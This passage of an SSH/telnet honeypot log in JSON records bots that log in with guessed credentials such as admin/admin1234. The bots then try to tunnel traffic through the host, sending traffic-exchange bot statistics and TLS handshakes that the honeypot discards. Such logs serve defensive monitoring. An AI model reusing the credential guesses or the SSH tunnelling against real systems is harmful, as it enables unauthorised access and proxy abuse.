no-cache\\r\\n\\r\\n_=eV9eVXhtXklzQD5AaGxyYw%3D%3D%2FQTVtdF4wgs4ivMHNPlLb0yETQFUMo96hs4dKxROuC90GFzH2B44pCcGoG%2FDiLzctbCiulAf2eNydmFZWZTmYhU1tsD9%2FUJyRp6hG%2FlODm9GRIyNMOqjRaNk9kzWw72pyWyaKve9A6dXdzh1as3lJ0KGMu28hwvdPze4rdBFcvHboLZx9gc6pr6y76dwX7j1ZEiOPf6DlcLP0h8hXjCIWm625D8Pcy6%2BFhDWnhYmtdCDVdL2AvEljfWQT1mCIGLD5qOGrCqd3CavvRQRzlXnhmilMhGtI5me7BxB4Jc2CFSIb93JfR4fRn9eh2SBpxyVfxFVoRe9enFoYDG0X7dPITw1VPnFS27e0oeU5DskSY75Y%2FEqRZ2sVzlsYZBrRYpltMjVSbNg2ExbXlBZBTYF4T0bhW%2BCVtNyYMvm1ziZMI%2BaOtlFinUFzjyQBIhdu5oUs%2Fb5tPKSIH1prVy9ZAcVF7YE75j1TkJ8FHYAm88HYt%2F9Xx8RF2Rga4YghVZRwkyUPGArmYsuqKT5AmHEdMFEltByjgdF%2FrAGtYUy5ozAjdBoQxCLnq38OggE9kzs2ZS1Pt7bWTR3OYvOS1wqX5wz6t%2FhHrS2sVHV6prxECVwvfsqfOI2cK%2F8%2BVe%2Fk5dXOfD0xaT1L9yrm%2BUhTh0OiJ0OINYu7I8Y5fP60M2jz2ZVZPJI8qh9K8fASZpt364OcJsN7HWEUibG9NwIOihZBzQ6zvHgnLvfHIuNthzbcT%2FvJ%2BjqTlxSC3JLT%2FxMTYXyHDvycqfDWIh%2FIzyIyL9zrbVe0MXqWAGecjXmPelLOwKzRU6ZRIFQy6JqZEscRA5jdH8zrHbxjn5mSwsHYsV5SzGFmaR27FRHjp4RoZa9E%2BJaVT4eBrlXMCZw4zOnV9g5%2FYRKAOtDTbJ%2BpauZMHesc6P%2F7fKlogwX0y8Y2IT8qT9gJuoi7790Lu0hxbO98gX7%2BM9eoVkNrxg%2BnjM5MokWnQmVxNxl0cNwRpPKhAAL%2FafetPC%2Bo3a2%2F3dP8G29NKzQtP%2FlHjAfuAl4iI0OZxndpJouLmJ%2BOu2Jnf4QQeN0PEOUVds%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Android Futureve; Mobile; rv:77.0) Gecko/77.0 Firefox/77.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1162\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=eV9eVXhtXklzQD5AaGxyYw%3D%3D%2FQTVtdF4wgs4ivMHNPlLb0yETQFUMo96hs4dKxROuC90GFzH2B44pCcGoG%2FDiLzctbCiulAf2eNydmFZWZTmYhU1tsD9%2FUJyRp6hG%2FlODm9GRIyNMOqjRaNk9kzWw72pyWyaKve9A6dXdzh1as3lJ0KGMu28hwvdPze4rdBFcvHboLZx9gc6pr6y76dwX7j1ZEiOPf6DlcLP0h8hXjCIWm625D8Pcy6%2BFhDWnhYmtdCDVdL2AvEljfWQT1mCIGLD5qOGrCqd3CavvRQRzlXnhmilMhGtI5me7BxB4Jc2CFSIb93JfR4fRn9eh2SBpxyVfxFVoRe9enFoYDG0X7dPITw1VPnFS27e0oeU5DskSY75Y%2FEqRZ2sVzlsYZBrRYpltMjVSbNg2ExbXlBZBTYF4T0bhW%2BCVtNyYMvm1ziZMI%2BaOtlFinUFzjyQBIhdu5oUs%2Fb5tPKSIH1prVy9ZAcVF7YE75j1TkJ8FHYAm88HYt%2F9Xx8RF2Rga4YghVZRwkyUPGArmYsuqKT5AmHEdMFEltByjgdF%2FrAGtYUy5ozAjdBoQxCLnq38OggE9kzs2ZS1Pt7bWTR3OYvOS1wqX5wz6t%2FhHrS2sVHV6prxECVwvfsqfOI2cK%2F8%2BVe%2Fk5dXOfD0xaT1L9yrm%2BUhTh0OiJ0OINYu7I8Y5fP60M2jz2ZVZPJI8qh9K8fASZpt364OcJsN7HWEUibG9NwIOihZBzQ6zvHgnLvfHIuNthzbcT%2FvJ%2BjqTlxSC3JLT%2FxMTYXyHDvycqfDWIh%2FIzyIyL9zrbVe0MXqWAGecjXmPelLOwKzRU6ZRIFQy6JqZEscRA5jdH8zrHbxjn5mSwsHYsV5SzGFmaR27FRHjp4RoZa9E%2BJaVT4eBrlXMCZw4zOnV9g5%2FYRKAOtDTbJ%2BpauZMHesc6P%2F7fKlogwX0y8Y2IT8qT9gJuoi7790Lu0hxbO98gX7%2BM9eoVkNrxg%2BnjM5MokWnQmVxNxl0cNwRpPKhAAL%2FafetPC%2Bo3a2%2F3dP8G29NKzQtP%2FlHjAfuAl4iI0OZxndpJouLmJ%2BOu2Jnf4QQeN0PEOUVds%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:55.293298Z","src_ip":"23.175.50.51","session":"b3747d9f74e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:55.300542Z","src_ip":"23.175.50.51","session":"b3747d9f74e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa7\\xa5HG\\x88\\xf1?\\xf8\\x9b`p\\xf2\\xe1\\xf5\\xc6\"\\xc9k~\\xc8\\x82\\xe7\\x05tGG\\xaf\\x84\\x1bY\\xa4| \\x80\\xf6\\xd1o\\xf94s\\xe7\\x8e@\\x8c\\x8e\\x94\\x9c\\x17\\xa6\\xd5|o\\x14\\xc8\\xc9;\\x84\\xf1\\x00\\xf3o\\x8e\\xff\\xfc\\x1e\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb2u\\xa3\\xde\\x18\\x96\\t\\xfe\\xcf\\x9a\\x12\\x99\\x1d(\\n<\\x81\\x0ct\\xc8\"\\xc8\\x85\\x16&\\x8fc\\xf2\\xb3a\\x01q\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa7\\xa5HG\\x88\\xf1?\\xf8\\x9b`p\\xf2\\xe1\\xf5\\xc6\"\\xc9k~\\xc8\\x82\\xe7\\x05tGG\\xaf\\x84\\x1bY\\xa4| \\x80\\xf6\\xd1o\\xf94s\\xe7\\x8e@\\x8c\\x8e\\x94\\x9c\\x17\\xa6\\xd5|o\\x14\\xc8\\xc9;\\x84\\xf1\\x00\\xf3o\\x8e\\xff\\xfc\\x1e\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb2u\\xa3\\xde\\x18\\x96\\t\\xfe\\xcf\\x9a\\x12\\x99\\x1d(\\n<\\x81\\x0ct\\xc8\"\\xc8\\x85\\x16&\\x8fc\\xf2\\xb3a\\x01q\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:55.303909Z","src_ip":"23.175.50.51","session":"b3747d9f74e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:55.621822Z","session":"b3747d9f74e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:55.776227Z","src_ip":"23.175.50.51","session":"b3747d9f74e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xeeH\\x90=\\x15\\x94\\x012\\x19\\xb1H\\x80\\x82\\xc0\\x9b\\xbc\\x96X_\\xbcP\\xda\\xd4\\xee\\x13Ls(3\\xd3d\\x1e \\xd1\\xffR(\\x07\\x1bZ\\xa2\\x85|U2.\\xa1\\x19\\xa6\\'\\xcdF\\xbf\\xbd\\x04\\x7fr\\x12\\x82\\xa0#\\xe5\\xf5\\xb6\\xcc\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9f\\x12ws\\x9b \\xa3\\xf6\\xf8\\x9c\\xcb@\\x8d\\xeb\\x8a\\x80B\\xe5\\\\q\\x87\\xa7\\xb0D\\xe10u\\x01\\xcb\\xfbp/\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xeeH\\x90=\\x15\\x94\\x012\\x19\\xb1H\\x80\\x82\\xc0\\x9b\\xbc\\x96X_\\xbcP\\xda\\xd4\\xee\\x13Ls(3\\xd3d\\x1e \\xd1\\xffR(\\x07\\x1bZ\\xa2\\x85|U2.\\xa1\\x19\\xa6\\'\\xcdF\\xbf\\xbd\\x04\\x7fr\\x12\\x82\\xa0#\\xe5\\xf5\\xb6\\xcc\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9f\\x12ws\\x9b \\xa3\\xf6\\xf8\\x9c\\xcb@\\x8d\\xeb\\x8a\\x80B\\xe5\\\\q\\x87\\xa7\\xb0D\\xe10u\\x01\\xcb\\xfbp/\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:58:55.779494Z","src_ip":"23.175.50.51","session":"b3747d9f74e3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:11.901192Z","src_ip":"23.175.50.52","session":"c4129453e970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"33.1","message":"Connection lost after 33.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:13.749273Z","src_ip":"23.175.50.51","session":"b3747d9f74e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.539671182632446,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:16.193653Z","src_ip":"172.81.62.90","session":"acf261673269","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:23.103101Z","session":"c4129453e970","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:23.107894Z","session":"c4129453e970","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:23.111068Z","session":"c4129453e970","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:59:23.190876Z","src_ip":"23.175.50.52","session":"c4129453e970","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc9\\xb3\\xeaUZ\\x9b\\xc2\\\\\\xbbL3\\xfey\\xf9\\x81;\\xaa\\xa6\\xf87@w\\x00\\xd2\\x9e\\x90\\x04f\\xa1@\\xc1\\x1d C`#D\\xf2\\xf3\\xd8\\xda[\\xda,f$*\\xa8\\xe9\\xe3\\x8b\\xa7-I\\x82\\xa1\"\\xc9\\xbc\\xb3j\\xa9u\\xfb\\x9f\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 GS\\xcatSG\\xc5N]\\xb3\\xc0\\xec$\\x9aL|X\\xd65\\xa6\\xab\\x0c}L\\x8e\\x06\\\\\\x02*\\x19\\xf7\\x16\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc9\\xb3\\xeaUZ\\x9b\\xc2\\\\\\xbbL3\\xfey\\xf9\\x81;\\xaa\\xa6\\xf87@w\\x00\\xd2\\x9e\\x90\\x04f\\xa1@\\xc1\\x1d C`#D\\xf2\\xf3\\xd8\\xda[\\xda,f$*\\xa8\\xe9\\xe3\\x8b\\xa7-I\\x82\\xa1\"\\xc9\\xbc\\xb3j\\xa9u\\xfb\\x9f\\x00 